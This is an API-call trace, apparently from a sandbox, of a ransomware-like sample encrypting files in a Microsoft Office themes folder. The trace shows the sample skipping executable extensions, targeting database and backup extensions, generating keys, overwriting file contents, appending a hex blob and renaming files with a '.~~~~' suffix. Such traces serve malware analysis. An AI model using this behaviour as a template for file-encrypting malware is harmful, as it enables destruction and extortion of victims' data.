	[0084.264] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.264] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.264] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.265] CloseHandle (hObject=0x120) returned 1
	[0084.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808528
	[0084.265] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.~~~~")) returned 1
	[0084.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808528 | out: hHeap=0x300000) returned 1
	[0084.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.265] GetLastError () returned 0x0
	[0084.266] RtlWakeConditionVariable () returned 0x365f70
	[0084.266] GetCurrentThreadId () returned 0x9cc
	[0084.266] GetCurrentThreadId () returned 0x9cc
	[0084.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808090
	[0084.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808678 | out: hHeap=0x300000) returned 1
	[0084.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a97a0 | out: hHeap=0x300000) returned 1
	[0084.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808678
	[0084.266] lstrlenW (lpString=".scr") returned 4
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.266] lstrlenW (lpString=".cmd") returned 4
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.266] lstrlenW (lpString=".dll") returned 4
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.266] lstrlenW (lpString=".bat") returned 4
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.266] lstrlenW (lpString=".cpl") returned 4
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.266] lstrlenW (lpString=".sys") returned 4
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.266] lstrlenW (lpString=".msc") returned 4
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.266] lstrlenW (lpString=".com") returned 4
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.266] lstrlenW (lpString=".lnk") returned 4
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.266] lstrlenW (lpString=".msp") returned 4
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.266] lstrlenW (lpString=".pif") returned 4
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.266] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.267] lstrlenW (lpString=".sqb") returned 4
	[0084.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.267] lstrlenW (lpString=".ost") returned 4
	[0084.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.267] lstrlenW (lpString=".txt") returned 4
	[0084.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.267] lstrlenW (lpString=".mdt") returned 4
	[0084.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.267] lstrlenW (lpString=".BDB") returned 4
	[0084.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.267] lstrlenW (lpString=".eql") returned 4
	[0084.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.267] lstrlenW (lpString=".DBF") returned 4
	[0084.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.267] lstrlenW (lpString=".EQL") returned 4
	[0084.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.267] lstrlenW (lpString=".FDB") returned 4
	[0084.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.267] lstrlenW (lpString=".EDB") returned 4
	[0084.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.267] lstrlenW (lpString=".DACPAC") returned 7
	[0084.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.268] lstrlenW (lpString=".VHD") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.268] lstrlenW (lpString=".DBV") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.268] lstrlenW (lpString=".dacpac") returned 7
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.268] lstrlenW (lpString=".sdf") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.268] lstrlenW (lpString=".accdb") returned 6
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.268] lstrlenW (lpString=".DBX") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.268] lstrlenW (lpString=".MDT") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.268] lstrlenW (lpString=".SQB") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.268] lstrlenW (lpString=".vhd") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.268] lstrlenW (lpString=".bac") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.268] lstrlenW (lpString=".mdf") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.268] lstrlenW (lpString=".BAK") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.268] lstrlenW (lpString=".BAC") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.268] lstrlenW (lpString=".dbs") returned 4
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.268] lstrlenW (lpString=".vhdx") returned 5
	[0084.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.268] lstrlenW (lpString=".NDF") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.269] lstrlenW (lpString=".dat") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.269] lstrlenW (lpString=".DBS") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.269] lstrlenW (lpString=".CKP") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.269] lstrlenW (lpString=".edb") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.269] lstrlenW (lpString=".PST") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.269] lstrlenW (lpString=".dbf") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.269] lstrlenW (lpString=".SQL") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.269] lstrlenW (lpString=".pst") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.269] lstrlenW (lpString=".dbv") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.269] lstrlenW (lpString=".SDF") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.269] lstrlenW (lpString=".dtxs") returned 5
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.269] lstrlenW (lpString=".db3") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.269] lstrlenW (lpString=".OST") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.269] lstrlenW (lpString=".dbx") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.269] lstrlenW (lpString=".DB3") returned 4
	[0084.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.269] lstrlenW (lpString=".DAT") returned 4
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.270] lstrlenW (lpString=".VHDX") returned 5
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.270] lstrlenW (lpString=".ndf") returned 4
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.270] lstrlenW (lpString=".DB") returned 3
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.270] lstrlenW (lpString=".sql") returned 4
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.270] lstrlenW (lpString=".MYD") returned 4
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.270] lstrlenW (lpString=".DBT") returned 4
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.270] lstrlenW (lpString=".ACCDB") returned 6
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.270] lstrlenW (lpString=".fdb") returned 4
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.270] lstrlenW (lpString=".bak") returned 4
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.270] lstrlenW (lpString=".myd") returned 4
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.270] lstrlenW (lpString=".DTXS") returned 5
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.270] lstrlenW (lpString=".ckp") returned 4
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.270] lstrlenW (lpString=".dbt") returned 4
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.270] lstrlenW (lpString=".db") returned 3
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.270] lstrlenW (lpString=".TXT") returned 4
	[0084.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.270] lstrlenW (lpString=".MDF") returned 4
	[0084.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.271] lstrlenW (lpString=".bdb") returned 4
	[0084.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.271] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.271] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0084.272] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.272] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.272] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20426187884) returned 1
	[0084.272] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c101df0, dwHighDateTime=0x1d60e1e)) 
	[0084.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a97a0
	[0084.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a97a0 | out: hHeap=0x300000) returned 1
	[0084.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28085d0
	[0084.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28085d0 | out: hHeap=0x300000) returned 1
	[0084.272] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0084.272] GetLastError () returned 0x0
	[0084.273] GetLastError () returned 0x0
	[0084.273] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0084.273] GetLastError () returned 0x0
	[0084.273] GetLastError () returned 0x0
	[0084.274] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffabd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.275] WriteFile (in: hFile=0x120, lpBuffer=0x283ffe0*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283ffe0*, lpNumberOfBytesWritten=0x26dfec0*=0x543, lpOverlapped=0x0) returned 1
	[0084.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ffe0 | out: hHeap=0x300000) returned 1
	[0084.275] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.275] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.275] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.275] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.275] CloseHandle (hObject=0x120) returned 1
	[0084.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0084.275] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.~~~~")) returned 1
	[0084.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0084.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.279] GetLastError () returned 0x0
	[0084.279] RtlWakeConditionVariable () returned 0x365f70
	[0084.279] GetCurrentThreadId () returned 0x9cc
	[0084.279] GetCurrentThreadId () returned 0x9cc
	[0084.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808090
	[0084.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808720 | out: hHeap=0x300000) returned 1
	[0084.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9768 | out: hHeap=0x300000) returned 1
	[0084.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808720
	[0084.279] lstrlenW (lpString=".scr") returned 4
	[0084.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.279] lstrlenW (lpString=".cmd") returned 4
	[0084.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.279] lstrlenW (lpString=".dll") returned 4
	[0084.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.279] lstrlenW (lpString=".bat") returned 4
	[0084.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.279] lstrlenW (lpString=".cpl") returned 4
	[0084.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.279] lstrlenW (lpString=".sys") returned 4
	[0084.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.279] lstrlenW (lpString=".msc") returned 4
	[0084.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
